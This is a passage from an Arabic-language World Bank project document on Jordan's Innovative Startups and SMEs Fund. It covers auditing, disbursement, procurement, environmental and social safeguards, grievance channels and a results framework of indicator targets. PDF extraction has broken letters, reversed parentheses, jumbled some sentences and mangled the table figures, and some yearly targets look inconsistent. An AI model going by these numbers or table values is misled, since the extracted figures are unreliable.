وعائده حتى يحين موعد تصفية العائدات النهائية وإعادتها إلى الحكومة األردنية، وسيقوم الصندوق بتقديم تقارير مالية ربع سنوية تغطي جميع يوماً األنشطة المالية إلى الشركة األردنية خالل 30 بعد تاريخ انتهاء ربع السنة لدمجها مع أنشطة المشروع األخرى التي قامت بها الشركة، وتكون الشركة مسئولة عن تقديم تقارير مالية مرحلية غير مدققة إلى البنك الدولي خالل 45 يوم الحقة لتاريخ انتهاء ربع السنة. 82 -سوف تتم عمليات التخارج من خالل إحدى الطرق االعتيادية وهي البيع المباشر أو شراء حصص اإلدارة أو الطرح العام المبدئي أو غيرها من الطرق المنصوص عليها في دليل عمليات المشروع، وسوف تخضع عمليات التخارج للجزاءات التي تفرضها لجنة االستثمار المعنية بالعروض التي أعدها الصندوق. ويتم إيداع عوائد/أرباح االستثمارات وكذلك العائدات المحققة من بيع وتصفية االستثمارات في حساب بنكي منفصل يتم فتحه في أحد البنوك التجارية لغرض يختلف عن غرض الحساب المخصص للمشروع ويستخدم بناء على االتفاقية المبرمة بين البنك المركزي األردني والحكومة على النحو المحدد في دليل عمليات المشروع. 83 -يصمم المشروع نظام رقابة داخلية فعال وينفذه، وقد اعتمدت الشركة األردنية لضمان القروض والجهة المقترضة دليل فصال عن اإلدارة المالية المعتمدة من البنك الدولي، والذي على أساسه سيتم وضع اإلجراءات عمليات المشروع، متضمناً المالية والضوابط الداخلية. كما سيعتمد صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية دليل عمليات المشروع بمجرد إعداده. وسوف يتضمن هذا الدليل نماذج اتفاقيات المساهمين واتفاقيات االستثمار واتفاقيات المنح، ويغطي الدليل الموضوعات التي تتعلق بتنفيذ المشروع بما في ذلك األدوار والمسئوليات المشتركة بين الوكاالت وإجراءات اإلدارة المالية وجميع معايير األهلية واالختيار وكذلك قائمة العمالء المستبعدين. ويعين الصندوق مراجع حسابات داخلي ليهتم بجميع أنشطة المشروع قبل مضي عام على فعالية المشروع ويقوم برفع تقارير إلى مجلس إدارة الصندوق، ويقدم إلى البنك الدولي الشروط المرجعية لمهام مراجع الحسابات الداخلي ويعرضها على البنك الدولي لضمان عدم الممانعة. وتكون وظيفة المراجع األساسية فيما يتعلق بالمشروع هي إجراء تحليل مخاطر العمليات وضمان االمتثال لإلجراءات بوجه عام ولمعايير األهلية الخاصة بالمشروع بوجه خاص كما هو منصوص عليه في دليل عمليات المشروع، وتغطى تكاليف المراجع الداخلي تحت بند إدارة المشروع. 84 -سوف يتم تعيين مدقق خارجي لإلضطالع بمهمة التدقيق المالي للمشروع وإعداد القوائم المالية السنوية، ذلك وفقاً للشروط المرجعية المقبولة لدى البنك الدولي. وال بد من تعيين المدقق خالل 6 أشهر من تاريخ بدء تنفيذ المشروع. ومن ناحية أخرى، سيتم توسيع نطاق مهام المدقق الخارجي أو تعيين شركة استشارية بمعرفة الصندوق لتنفيذ إجراءات المراجعة السنوية المتفق عليها للجهة المستفيدة )مرحلة التأسيس والمرحلة المبكرة والشركات الناشئة ومعجالت وحاضنات األعمال وشبكات رعاة األعمال ومنصات التمويل الجماعي، وما إلى ذلك(. سيتم تمويل كال النشاطين في إطار مكون إدارة المشروع. د- اإلنفاق 85 -سوف تطلب الشركة األردنية لضمان القروض تعويضها عن النفقات التي تم االتفاق عليها قبل بدء المشروع. كذلك سوف تطلب الشركة إيداع دفعة مالية مقدمة في الحساب المخصص للمشروع من أجل بدء اإلنفاق على عملية التنفيذ. ستكون المدفوعات المقدمة من البنك الدولي إلى الشركة األردنية على أساس تقارير مالية مؤقتة ربع سنوية غير مدققة، توضح النفقات الفعلية عن الربع السابق )ثالثة أشهر(، والتدفق النقدي المتوقع على مدى الربعين التاليين )ستة أشهر(. وتحتفظ الشركة األردنية بكافة الوثائق الداعمة، على أن يكون ذلك بطريقة تتيح لبعثات البنك الدولي، والمدققين الداخليين والخارجيين مراجعتها. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 33 86 -شروط اإلنفاق. سيكون تعيين مدير مؤهل لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة شرطاً لإلنفاق. هـ المشتريات 87 -تم إجراء تقييم لقدرة عمليات المشتريات، وتم تصنيف مخاطرها بأنها متوسطة. وقد خلص التقييم العام، الذي أجرته الشركة المنفذة، وهي الشركة األردنية لضمان القروض، إلى أن عملية المشتريات التي تتبعها هذه المؤسسة تلتزم بالمبادئ التوجيهية للمشتريات األساسية التي يتبناها البنك الدولي. سوف يطبق المشروع إطار المشتريات الخاص بالبنك فيما يتعلق بتعيين شركة إدارة، أو اختيار مدير لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية الذي سوف يعين بدوره فريق العمل، وكذا التعاقد على الخدمات، وشراء األدوات المكتبية البسيطة، والمعدات التي يحتاجها الصندوق من أجل ممارسة عمله. للحد من المخاطر المحددة، هناك بعض اإلجراءات المقترحة التي من شأنها خفض درجة تصنيف المخاطر: أ( ترتيب الدعم المناسب )طاقم العمل، والتدريب، واألدوات( للتعامل مع إدارة المشتريات على األقل حتى يتم اختيار استشاري إداري، ب( ضمان إدارة العقود بشكل سليم من جانب الهيئة المنفذة، ج( وضع نظام لمتابعة تعديالت عقود صندوق الشركات الناشئة والمؤسسات المتوسطة والصغيرة االبتكارية وتحفيزها، د( االتفاق على طريقة مناسبة لنشر قرارات المشتريات وغيرها من المعلومات ذات الصلة بأدنى حد، )على موقع إلكتروني أو من خالل نشرات صحفية(. 88 -تم تصور ترتيبات المشروع التالية الخاصة بالمشتريات على النحو التالي: 1 .مبادئ توجيهية لمكافحة الفساد: سوف يتم تطبيق "مبادئ توجيهية بشأن منع ومكافحة االحتيال والفساد في المشروعات، التي يتم تمويلها بقروض من البنك الدولي لإلنشاء والتعمير، وقروض ومنح من مؤسسة التنمية الدولية" والصادرة في 15 أكتوبر/ تشرين األول 2006 ،وتم مراجعتها في يناير/ كانون الثاني 2011 . 2 .لوائح المشتريات: سوف يتم تطبيق "لوائح المشتريات الخاصة بالبنك الدولي للمقترضين في إطار تمويل المشروعات االستثمارية" والصادرة في 1 يوليو/ تموز 2016( لوائح المشتريات( في المشروع. بالنسبة إلى تحديدا واالختيارات المتعلقة بمدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة ً المشتريات المكتبية ا "للممارسات التجارية" بحسب ما جاء ً االبتكارية، تستخدم الشركة األردنية لضمان القروض ترتيبات االختيار طبق في القسم رقم 6-46 من اللوائح المشار إليها أعاله. تشير الممارسات التجارية إلى استخدام ترتيبات المشتريات عادًة ما تكون مؤسسات غير خاضعة لقانون المشتريات الحكومي المعتمدة والمستخدمة في القطاع الخاص ) للمقترض( لشراء السلع أو تنفيذ األعمال أو الخدمات غير االستشارية. ينفذ البنك مبادئ المشتريات األساسية التالية لكونها المعيار المستخدم لتحديد مدى قبول الممارسات التجارية، وهي: قيمة األموال واالقتصاد والنزاهة ومدى المالئمة للغرض والفعالية والشفافية والعدالة. 3 .أنشطة المشروع بطبيعتها غير معقدة؛ ومن المتوقع أن تختار الشركة األردنية لضمان القروض مدير لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، يقوم بدوره بتعيين فريق عمل للقيام بمهامه كوحدة تنفيذ المشروع. إلى جانب ذلك، سوف يتم شراء اللوازم المكتبية، واألثاث المكتبي بحسب احتياجات الصندوق. 4 .سوف تتبع طرق شراء السلع والخدمات االستشارية وغير االستشارية الممارسات التجارية المعمدة لدى الشركة األردنية لضمان القروض. 5 .فريق العمل: يتم تكليف أخصائي المشتريات بالشركة األردنية لضمان القروض بتعيين مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، وشراء الخدمات المتصلة بدور الشركة األردنية بصفتها الجهة المنفذة. تتماشى مؤهالت المشتريات مع متطلبات المنصب الحالي. سيكون هناك حاجة إلى دعم فني من الشركة األردنية لمساعدة فريق المشتريات في تقييم واختيار مدير الصندوق وأفراد فريق العمل. سوف تكون الجهة المنفذة مسئولة عن إدارة عقود مدير الصندوق وفريق عمله. كذلك يحق للشركة المنفذة اختيار تفويض مدير الصندوق بإدارة العقود الخاصة بأفراد فريق عمل الصندوق. و- تحليل الجوانب اإلجتماعية )متضمنة الضمانات الوقائية( 89 -يتم تصنيف هذا المشروع كمؤسسة وسيطة مالية وفقاً للتقييم البيئي للبنك الدولي )سياسة العمليات رقم 4-01 .)يتم تصنيف المخاطر البيئية واالجتماعية بأنها منخفضة بالنظر إلى توقع أن تكون المشروعات الفرعية الممولة هي مشروعات تصاعدياً ناشئة تكنولوجية تقدم خدمات بسيطة وتتخذ إتجاها في دورة تنمية األعمال الخاصة بها. سوف يحكم إطار اإلدارة ً البيئية واالجتماعية الجوانب البيئية واالجتماعية للمشروع، حيث يتماشى مع اللوائح واإلجراءات األردنية ذات الصلة. وسوف يقدم البنك الدولي قرضه من خالل كيان له غرض خاص، وهو مؤسسة وسيطة هدفها تقديم رأس المال إلى المؤسسات الصغيرة والمتوسطة المختارة. سوف تتم مساءلة مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية ًة إلى البنك أمام مجلس إدارة الصندوق، التي تتولى الشركة األردنية لضمان القروض رئاسته. ويقدم الصندوق تقاريره مباشر البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 34 الدولي، وتقدم الشركة األردنية بدورها التقارير إلى وزارة التخطيط والتعاون الدولي فيما يتعلق بتنفيذ المشروع. وبالنسبة لتقارير الضمانات الوقائية، فسوف يجري الصندوق عمليات تدقيق سنوية الحقة للمراجعة، ويخطر الشركة األردنية بمستوى التقدم المحرز في المشروع. سوف تقدم الشركة األردنية تقارير إلى مجموعة البنك الدولي كما هو موضح في المبادئ التوجيهية إلطار اإلدارة البيئية واالجتماعية، بهدف توفير معلومات بشأن اآلثار البيئية واالجتماعية الرئيسية للمشروع، وفعالية إطارا ، ً إجراءات التخفيف من آثارها. وتم وضع إطار لإلدارة البيئية واالجتماعية والتخفيف من اآلثار ذات الصلة و للمتابعة وتم إدراجها في مالحق إطار اإلدارة البيئية واالجتماعية. كذلك تعمل أطر المتابعة كوسيلة لمتابعة وتقييم مدى التزام الضمانات الوقائية بإطار اإلدارة البيئية واالجتماعية. وسوف تشمل التقارير المرحلية التي يقدمها الصندوق إلى مجلس اإلدارة والشركة األردنية قسم خاص بالتزام ومطابقة الضمانات الوقائية. وبدورها سوف تقدم الشركة األردنية تقارير مرحلية إلى البنك الدولي. 90 -من المتوقع أن يقوم المشروع باألساس بتمويل المشروعات الصغيرة التي تعمل في مجال الخدمات أو التكنولوجيا ذات المخاطر البيئية أو االجتماعية المحدودة. يشير التقييم إلى أن األنشطة التي يمولها المشروع لن تتضمن أي أعمال تقتضي استحواذ على األراضي. وقد تم إعداد إطار اإلدارة البيئية واالجتماعية، الذي يقدم قائمة باألنشطة الفرعية غير المسموح بها وآلية فحص األنشطة ونظام للمتابعة وتقديم التقارير، وإدراجه في دليل عمليات المشروع من أجل التصدي ألي مخاطر بيئية أو اجتماعية محتملة. يتولى مسؤولو االستثمار بالمشروع في صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مسئولية فحص االستثمارات في الشركات خالل مرحلة التأسيس/ تمويل األعمال وتمويل المرحلة المبكرة منها/ وتمويل رأس المال المخاطر، وتقديم التقارير إلى الشركة األردنية لضمان القروض وفقاً إلطار اإلدارة البيئية واالجتماعية للمشروع. سوف تضمن عملية الفحص عدم اشتمال األنشطة الممولة على إعادة توطين قسري. وال بد من الحفاظ على شفافية عملية الطلب لضمان تكافئ فرص الحصول على التمويل. وسوف يتم اإلعالن عن الدعوة إلى تقديم عروض على نطاق واسع، وسوف تستهدف هذه الدعوة اتحادات المرأة وغيرها من المؤسسات من أجل ضمان نشر المعلومات بقدر كافي بين رائدات األعمال المحتمالت. وسوف يحدد دليل عمليات المشروع معايير األهلية الخاصة بالطلب، وكيفية اإلعالن عن العملية، وكذلك سيعلن عن العروض المختارة. سوف يضع المشروع آلية التعامل مع الشكاوى والتظلمات و يتم اإلعالن عنها على نحو مالئم، وتشرف عليها الشركة األردنية التي تقوم بتعيين استشاري يقدم الدعم للرقابة الكاملة ومتابعة أنشطة الصندوق بما في ذلك إدارة الشكاوى التي قد يتم تقديمها والعمل على حلها. ز- تحليل الجوانب البيئية )متضمنة الضمانات الوقائية( 91 -يتم تصنيف هذا المشروع ضمن فئة "الوساطة المالية" عمال بسياسة عمليات البنك الدولي رقم 4-01 .يتم اإلشارة إلى المؤسسات المالية، وشركاء النظام البيئي الشامل، الذين يتم اختيارهم لتنفيذ االستثمارات، ودعم النظام البيئي الشامل، في هذا السياق كشركاء لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، ومن بينهم، صناديق االستثمار في رأس المال المخاطر، وصناديق تمويل التأسيس/ والمراحل المبكرة من األعمال، ومقدمي الدعم للنظام البيئي الشامل )معجالت األعمال، وحاضنات أعمال، وخدمات تنمية األعمال وغيرها(. من المتوقع أن يمول هذا المشروع باألساس مشروعات صغيرة في مجال الخدمات أو التكنولوجيا ذات مخاطر بيئية واجتماعية محدودة. ال تتضمن األنشطة عقارات وبناء خالصة )إنشاء مكاتب وشراء منشآت ومعدات بناء(. مع ذلك قد يكون هناك بعض األنشطة التي تتضمن مخاطر بيئية واجتماعية رغم أن نطاقها سيكون محدوداً نظرا لحجم المؤسسات الصغيرة والمتوسطة. ً 92 -سيتم تغطية التكلفة المرتبطة بتنفيذ صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة بحسب تكاليف التشغيل/ التكاليف اإلدارية المعيارية للشركة الخاصة حيث تلتزم الشركات بإتباع قانون البيئة األردني. مع ذلك من المتوقع أن يحتفظ الصندوق بفرصة الحصول على الخدمات االستشارية الخاصة بالضمانات الوقائية البيئية لتقديم االستشارة إلى الصندوق "بحسب الحاجة"، وتشير هذه الخدمات ضمناً إلى أن الصندوق له الحق في االحتفاظ بالخدمات المختلفة للضمانات الوقائية البيئية حين تكون متاحة عند الحاجة إلى الخدمات. يبلغ إجمالي التكاليف التقديرية، التي سوف تغطي التدريب، واالستشارات وعمليات التدقيق المرتبطة بتنفيذ إطار اإلدارة البيئية واالجتماعية خالل مدة المشروع 306 ألف دوالر تقريباً. وتعد هذه قيمة تقديرية قابلة للتغير بحسب النسبة المئوية لتطبيقات المشروع الفرعي الذي ينفذه الصندوق والذي يتطلب وضع خطط إدارة بيئية واجتماعية. 93 -سوف تتطلب عملية فحص المؤسسة الصغيرة أو المتوسطة وثائق تثبت قيام مقدم الطلب بمأل استمارة معلومات المشروع بشأن المشروع المستهدف، وتقديمها إلى وزارة البيئة من أجل فحصها عمال بالقانون األردني. يعتبر إطار اإلدارة البيئية واالجتماعية أداة للفحص والمتابعة، ويقدم مرجعية ألدوات اإلدارة البيئية واالجتماعية والتخفيف من آثارها. تقوم لجنة مركزية بين الوزارات معنية بإصدار التراخيص، بمراجعة استمارة معلومات المشروع، وبعد إجراء مسح للموقع تحدد ما إذا كان قد تم ات ملزمة قانونا بشأن نطاق التقييم. من المتوقع من ً تصنيف المشروع ضمن الفئة "أ" أم "ب" أم "ج". تصدر الوزارة إرشاد البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 35 مقدم الطلب أن يقدم الوثائق الخاصة بعملية الفحص التي أجرتها وزارة البيئة األردنية، ويتم إتباع عملية التصنيف قبل االنتقال إلى مرحلة التمويل. تم إعداد إطار اإلدارة البيئية واالجتماعية، الذي يضم قائمة بأنشطة فرعية غير مسموح بها، وعملية الفحص والمتابعة ونظام تقديم التقارير وتضمينه في دليل عمليات المشروع من أجل مواجهة المخاطر البيئية واالجتماعية المحتملة. 94 -من المتوقع تضمين الشركات التي تعمل في مجال األعمال التجارية الزراعية، رغم أن نوعية األعمال المتوقعة تقتصر على تلك التي لها طبيعة ابتكارية في مجال التعبئة والمعالجة والتسويق والتوزيع، والبعيدة عن أنشطة إنتاج أو استخدام المبيدات الحشرية. لذا، ال يتم تفعيل سياسة عمليات البنك رقم 4-09 بشأن مكافحة اآلفات. سيتم استبعاد أي مشروعات فرعية تنطوي على إنتاج أو استخدام مبيدات حشرية من المشروع، وإدراجها في األنشطة غير المسموح بها في إطار اإلدارة البيئية واالجتماعية. 95 -سيتم تدريب مسئولي االستثمار في صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة على كيفية دمج عمليتي الفحص والتصنيف البيئي في عملية تقديم الطلبات والموافقة عليها. سوف يتعاقد الصندوق مع أخصائي بيئي إلجراء عمليات تدقيق احتياطي لضمان تنفيذ العمليات ومتابعتها بشكل صحيح، وتقديم كافة الوثائق بحسب الحاجة. ح- سياسات أخرى للضمانات الوقائية إشراك المواطن/ العميل 96 -كجزء من أنشطة إشراك المواطن، سوف يكون صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة مسئوال عن إجراء مسحين على األقل عن رضاء المستفيد من أجل معرفة آراء المستفيدين من المشروع حول الخدمات المقدمة لهم وحول أداء صناديق الشركاء واألطراف الوسيطة في النظام البيئي الشامل. يتضمن إطار المتابعة والتقييم الوارد في الملحق رقم 1 نموذج استبيان لمتابعة هذا المؤشر. ط- آلية البنك الدولي للتعامل مع الشكاوى والتظلمات 97 -من حق المجتمعات المحلية أو األفراد الذين يرون أنهم قد تأثروا بالسلب من تنفيذ المشروعات التي يدعمها البنك الدولي، التقدم بشكاوى وفقاً آلليات التعامل مع الشكاوى والتظلمات التي تم وضعها على مستوى المشروع أو الخدمة ذات الصلة لدى البنك الدولي. تضمن هذه الخدمة النظر في الشكاوى المقدمة بشكل عاجل من أجل التعامل مع المخاوف المرتبطة بالمشروع. كذلك يمكن لألطراف المتأثرة بالمشروع، سواء كانت مجتمعات محلية أم أفراد، التقدم بشكاواهم إلى هيئة التفتيش المستقلة التابعة للبنك الدولي والتي تحدد ما إذا كان قد وقع ضرر أو من المحتمل أن يقع ضرر نتيجة عدم التزام البنك الدولي بسياساته وإجراءاته. يمكن تقديم الشكاوى في أي وقت بعد إخطار البنك الدولي مباشرًة بالمخاوف، ويتم منح إدارة البنك الفرصة للرد. لمزيد من المعلومات بشأن تقديم الشكاوى إلى خدمة التعامل مع التظلمات المؤسسية التابعة للبنك الدولي، برجاء http://www.worldbank.org/en/projects-operations/products-and- اإللكتروني الموقع زيارة service-redress-grievance/services .لمزيد من المعلومات عن كيفية تقديم شكاوى إلى هيئة التفتيش التابعة للبنك الدولي، يرجى زيارة الموقع اإللكتروني org.inspectionpanel.www . البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 36 . إطار النتائج ومتابعتها سابعاً إطار النتائج الدولة: األردن مشروع صندوق الشركات الناشئة اإلبتكارية الهدف اإلنمائي للمشروع يتمثل الهدف اإلنمائي للمشروع في زيادة تمويل رأس المال الخاص في المراحل المبكرة ألعمال المؤسسات االبتكارية الصغيرة والمتوسطة. مؤشرات الهدف اإلنمائي للمشروع اسم المؤشر المؤشر األساسي وحدة القياس خط األساس الهدف النهائي التكرار مصدر البيانات/ المنهجية المسئولية عن جمع البيانات االسم: رأس المال المعبأ المبلغ )بالدوالر األمريكي( 00.0 00.71500000 نصف سنوي استثمارات حافظة الصندوق/ اتفاقيات المساهمين مدير الصندوق/ الشركة األردنية لضمان القروض رأس المال الخاص المعبأ لتمويل المرحلة المبكرة/ مرحلة التأسيس من خالل المشروع المبلغ )بالدوالر األمريكي( 00.0 00.14500000 نصف سنوي اتفاقيات المساهمين مدير الصندوق/ الشركة األردنية لضمان القروض رأس المال المخاطر الخاص المعبأ من خالل المشروع المبلغ )بالدوالر األمريكي( 00.0 00.75000000 سنوي اتفاقيات المساهمين في صندوق P-Pواتفاقيات المساهمين في االستثمارات الصندوق*/ الشركة األردنية لضمان القروض الوصف: يتعقب المؤشر الرئيسي مبلغ التمويل المباشر )في صورة رأس مال و/أو دين( الذي تم جمعه من الكيانات الخاصة، باستخدام تمويل من القطاع الخاص، بغرض تمويل االستثمارات في إطار عمليات أو اسستثمارات البنك الدولي لإلنشاء والتعمير ومؤسسة التنمية الدولية )رأس المال الخاص( والمرتبطة بشكل مباشر بهذه العملية. االسم: الشركات المستفيدة الحاصلة على التمويل من خالل المشروع عدد 00.0 00.150 سنوي مسح منتظم وحدة إدارة المشروع في الشرركة األردنية لضمان القروض الشركات المستفيدة الحاصلة على تمويل المرحلة المبكرة/ مرحلة التأسيس من خالل المشروع عدد 00.0 00.80 سنوي مسح منتظم الصندوق* البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 37 اسم المؤشر المؤشر األساسي وحدة القياس خط األساس الهدف النهائي التكرار مصدر البيانات/ المنهجية المسئولية عن جمع البيانات الشركات المستفيدة الحاصلة على تمويل رأس المال المخاطر من خالل المشروع 70.00 0.00 عدد الشركات المستفيدة التي تديرها المرأة والحاصلة على التمويل من خالل المشروع 25.00 0.00 مئوية نسبة الشركات المستفيدة التي يديرها الشباب والحاصلة على التمويل من خالل المشروع 30.00 0.00 مئوية نسبة الشركات المستفيدة المتخرجة من مكون تدفق الصفقات والحاصلة على التمويل من خالل المشروع عدد 00.0 00.100 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الوصف: يقيس هذا المؤشر إجمالي عدد الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية الحاصلة على التمويل من خالل المشروع )يتم حصر الشركات الحاصلة على تمويل متابعة أنشطة المشروع مرة واحدة فقط(. االسم: الشركات المستفيدة التي أو عملية جديدة طرحت منتجاً نسبة مئوية 00.0 00.100 سنوي تقديم تقارير منتظمة عن المشروع الصندوق*/ الشركة األردنية لضمان القروض الوصف: سوف يتعقب هذا المؤشر اإلبتكار الناشئ من الجهات الحاصلة على المنح واستثمارات رأس المال من خالل المشروع. * صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية مؤشرات النتائج الوسطية البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 38 اسم المؤشر المؤشر األساسي وحدة القياس خط األساس الهدف النهائي التكرار مصدر البيانات/ المنهجية المسئولية عن جمع البيانات االسم: إجمالي الوسطاء الماليين الحاصلين على التمويل من خالل المشروع عدد 00.0 00.10 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الوسطاء الماليين المعنيين بمشروعات رأس المال المخاطر الحاصلين على التمويل من خالل المشروع عدد 00.0 00.6 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الوسطاء الماليين المعنيين بالمرحلة المبكرة/ مرحلة التأسيس الحاصلين على التمويل من خالل المشروع عدد 00.0 00.4 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الوصف: يقيس هذا المؤشر العدد اإلجمالي للوسطاء الماليين الحاصلين على التمويل من خالل المشروع. )يتم حصر الصناديق الحاصلة على تمويل متابعة أنشطة المشروع مرة واحدة فقط(. االسم: الجهات المستفيدة الحاصلة على خدمات معجالت األعمال من خالل المشروع عدد 00.0 00.150 سنوي مسح منتظم الصندوق*/ مقدمي خدمات النظام البيئي الشامل المستفيدات من النساء الحاصالت على خدمات معجالت األعمال من خالل المشروع 30.00 0.00 مئوية نسبة المستفيدون من الشباب الحاصلين على خدمات معجالت األعمال من خالل المشروع 30.00 0.00 مئوية نسبة الوصف: عدد الشركات الناشئة/ المؤسسات الصغيرة والمتوسطة الحاصلة على خدمات معجالت األعمال لمدة 4 إلى 6 أشهر. االسم: الممولون رعاة األعمال المحتملون الحاصلون على التدريب من خالل المشروع عدد 00.0 00.30 سنوي اتفاقيات منح ما قبل التأسيس/ مقدمي الخدمات التدريبية الصندوق* الوصف: الكيانات الحاصلة على المنح رعاة األعمال المحتملون الحاصلون على التدريب البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 39 اسم المؤشر المؤشر األساسي وحدة القياس خط األساس الهدف النهائي التكرار مصدر البيانات/ المنهجية المسئولية عن جمع البيانات االسم: اتفاقيات المساهمين أو اتفاقيات الشراكة الموقعة مع مقدمي تمويل رأس المال/ الوسطاء الماليين عدد 00.0 00.3 كل 3 أشهر اتفاقيات المساهمين الصندوق*/ الشركة األردنية لضمان القروض الوصف: يقيس هذا المؤشر خطوة أساسية في تأسيس الصناديق المشتركة بين القطاعين العام والخاص االسم: المستفيدون الراضون عن الخدمات التي حصلوا عليها وعن أداء الصناديق نسبة مئوية 00.0 00.75 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الوصف: يقيس هذا المؤشر أداء إدارة صناديق تمويل مرحلة التأسيس والمرحلة المبكرة ومرحلة رأس المال المخاطر . سوف تضيف النتائج التي جمعها الصندوق إلى تصميم المشروع وتعديل أي عناصر التي قد ن حيث مشاركة الوسطاء الماليين أو حجم االستثمارات. ونظرا يعمل الطرفان معاً على استخدام هذه ً تحول دون تحقيق النتائج المرجوة م إلمكانية وصول الصندوق والبنك الدولي إلى هذه البيانات، فمن المتوقع أن النتائج كحلقة تعقيبات ذات صلة بالمشروع. االسم: الشركات المستفيدة التي تلقت برامج دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع عدد 00.0 00.675 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الشركات المستفيدة التي تديرها المرأة والتي تلقت برامج دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع 30.00 0.00 مئوية نسبة الشركات المستفيدة التي يديرها الشباب والتي تلقت برامج دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع 30.00 0.00 مئوية نسبة الشركات المستفيدة التي تلقت برامج دعم الجاهزية لالستثمار من خالل المشروع 600.00 0.00 عدد الشركات المستفيدة التي تلقت عدد 00.0 00.75 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 40 اسم المؤشر المؤشر األساسي وحدة القياس خط األساس الهدف النهائي التكرار مصدر البيانات/ المنهجية المسئولية عن جمع البيانات خدمات تنمية األعمال من خالل المشروع الوصف: يقيس هذا المؤشر عدد الجهات المستفيدة التي تلقت منح دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع كوسيلة للدعم لتصبح مؤهلة/ جاهزة للحصول على االستثمار من خالل الصندوق القيم المستهدفة مؤشرات الهدف اإلنمائي للمشروع اسم المؤشر خط األساس السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة السنة السادسة الهدف النهائي 71500000.00 71500000.00 60000000.00 45000000.00 35000000.00 20000000.00 10000000.00 0.00 المعبأ المال رأس رأس المال الخاص المعبأ لتمويل المرحلة المبكرة/ مرحلة التأسيس من خالل المشروع 14500000.00 14500000.00 12000000.00 11000000.00 9000000.00 60000000.00 5000000.00 0.00 رأس المال المخاطر الخاص المعبأ من خالل المشروع 57000000.00 57000000.00 48000000.00 34000000.00 26000000.00 14000000.00 5000000.00 0.00 الشركات المستفيدة الحاصلة على التمويل من خالل المشروع 150.00 150.00 100.00 80.00 60.00 40.00 10.00 0.00 الشركات المستفيدة الحاصلة على تمويل المرحلة المبكرة/ مرحلة التأسيس من خالل المشروع 80.00 80.00 70.00 60.00 35.00 15.00 4.00 0.00 الشركات المستفيدة الحاصلة على تمويل رأس المال المخاطر من خالل المشروع 70.00 70.00 60.00 20.00 25.00 25.00 6.00 0.00 الشركات المستفيدة التي تديرها المرأة والحاصلة على التمويل من خالل المشروع 25.00 25.00 25.00 25.00 25.00 25.00 25.00 0.00 الشركات المستفيدة التي يديرها الشباب والحاصلة على التمويل من خالل المشروع 30.00 30.00 30.00 30.00 30.00 30.00 30.00 0.00 100.00 100.00 60.00 40.00 20.00 10.00 0.00 0.00 تدفق مكون من المتخرجة المستفيدة الشركات البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 41 الصفقات والحاصلة على التمويل من خالل المشروع أو عملية الشركات المستفيدة التي طرحت منتجاً جديدة 100.00 100.00 100.00 100.00 100.00 100.00 100.00 0.00 مؤشرات النتائج الوسطية اسم المؤشر خط األساس السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة السنة السادسة الهدف النهائي إجمالي الوسطاء الماليين الحاصلين على التمويل من خالل المشروع 10.00 10.00 9.00 7.00 6.00 4.00 2.00 0.00 الوسطاء الماليين المعنيين بمشروعات رأس المال المخاطر الحاصلين على التمويل من خالل المشروع 6.00 6.00 5.00 4.00 3.00 2.00 1.00 0.00 الوسطاء الماليين المعنيين بالمرحلة المبكرة/ مرحلة التأسيس الحاصلين على التمويل من خالل المشروع 4.00 4.00 4.00 4.00 3.00 2.00 1.00 0.00 االسم: الجهات المستفيدة الحاصلة على خدمات معجالت األعمال من خالل المشروع 150.00 150.00 150.00 150.00 90.00 45.00 15.00 0.00 المستفيدات من النساء الحاصالت على خدمات معجالت األعمال من خالل المشروع 30.00 30.00 30.00 30.00 30.00 30.00 30.00 0.00 المستفيدون من الشباب الحاصلين على خدمات معجالت األعمال من خالل المشروع 40.00 40.00 40.00 40.00 40.00 40.00 40.00 0.00 الممولون رعاة األعمال المحتملون الحاصلون على التدريب من خالل المشروع 30.00 30.00 30.00 30.00 20.00 10.00 0.00 0.00 اتفاقيات المساهمين أو اتفاقيات الشراكة الموقعة مع مقدمي تمويل رأس المال/ الوسطاء الماليين 3.00 3.00 3.00 3.00 2.00 2.00 1.00 0.00 المستفيدون الراضون عن الخدمات التي حصلوا عليها وعن أداء الصناديق 75.00 75.00 75.00 75.00 50.00 50.00 50.00 0.00 675.00 675.00 675.00 535.00 400.00 365.00 130.00 0.00 الجاهزية دعم برامج تلقت التي المستفيدة الشركات البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 42 لالستثمار وخدمات 